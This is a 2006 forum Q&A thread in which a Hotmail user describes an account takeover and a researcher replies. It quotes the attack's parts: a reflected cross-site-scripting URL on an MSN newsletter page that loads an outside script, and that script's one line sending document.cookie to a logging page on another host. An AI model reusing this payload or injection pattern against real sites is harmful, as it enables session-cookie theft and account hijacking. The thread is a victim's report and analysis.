I use newest Mozilla Firefox on a Windows XP which I think isn't
patched to the fullest. I received a suspicious email when I checked
my hotmail today. (My hotmail password might be saved inside the
firefox, I'm not very sure) There was a link inside that email:

http://www.jazzyjewellery.com/vb
(PLEASE DO NOT CLICK UNLESS YOU ARE SURE WHAT YOU ARE DOING)

Out of curiosity. I clicked on the link to see what it leads to

I saw another link:
www.jazzyjewellery.com/vb/nice.js

I opend that file, inside the file I saw
location.href='http://www.jazzyjewellery.com/vb/log.php?nice='+escape(document.c
ookie)

I then opened (thinking it should be harmless)
http://www.jazzyjewellery.com/vb/log.php?I_typed_some_rubbish_here

some dirty words came out, I then closed it. Moments later when I
wanted to check my hotmail again, I couldn't sign in. I tried many
passwords I used, all failed. A friend told me he saw my MSN message
online, talking nonsense to him. But it wasn't me. My hotmail account
was compromised.

I would like to know how he did it? and What should I do now?

---

Request for Question Clarification by keystroke-ga on 24 Aug 2006 06:00 PDT

Have you tried to contact the hotmail / Microsoft staff directly?

http://support.msn.com/eform.aspx?productKey=passport&page=support_home_options_form_byemail&ct=eformts

Contact them there and give them as much information as you can
(namely the information here as it seems as though it could be an
exploit against their system and they should know about it).

Tell me how you get on. I will speak to my security consultancy team.

--Keystroke-ga

---

Clarification of Question by kakarukeys-ga on 24 Aug 2006 06:13 PDT

I've found the answer, thank you for your time
Hotmail SUX!
http://www.net-force.nl/files/articles/hotmail_xss/

As you have found the hard way, it is not a good idea to follow links
provided by unknown senders. (I have resisted the temptation.)

I don't know what to recommend but I am sure that there a GAR will
soon come to your rescue.

Good Luck!

Bryan

As I have found out in the hard way, FireFox is not what they claim to
be ..........

More info: (I used a linux to open)

http://www.jazzyjewellery.com/vb

goes to:

 http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=%20%22%3E%3Cscript
   %20src%3Dhttp%3A//www.jazzyjewellery.com/vb/nice.js%3E%3C/script%3E

askes me to set a cookie:

ASPSESSION=EBKLDNFCHLAJ

after that:

   ');
   Unless your browser has scripting disabled, you should be returned to
   the page you were at in a couple seconds. Otherwise, please click
   ">here to return manually.

inside the file
www.jazzyjewellery.com/vb/nice.js

lies one line:
location.href='http://www.jazzyjewellery.com/vb/log.php?nice='+escape(document.c
ookie)

I couldn't download the php file

I used IE7 on Windows Server Longhorn and I got the same, I don't
beleive I have used MSN on that machine so it was a safe machine but
it does follow the exact same path that was described kakarukeys.

If you go to

/vb/log.php you get "FACK U" and a picture of a little cartoon character.

I know it does not help but it is quite interesting how MSN is used
for this. Perhaps it is an interception script. I will forward this
onto a security company I know of and see what they say.

--Keystroke-ga

I have a strong hunch that I know what you have run into.

It looks like an anti 419-er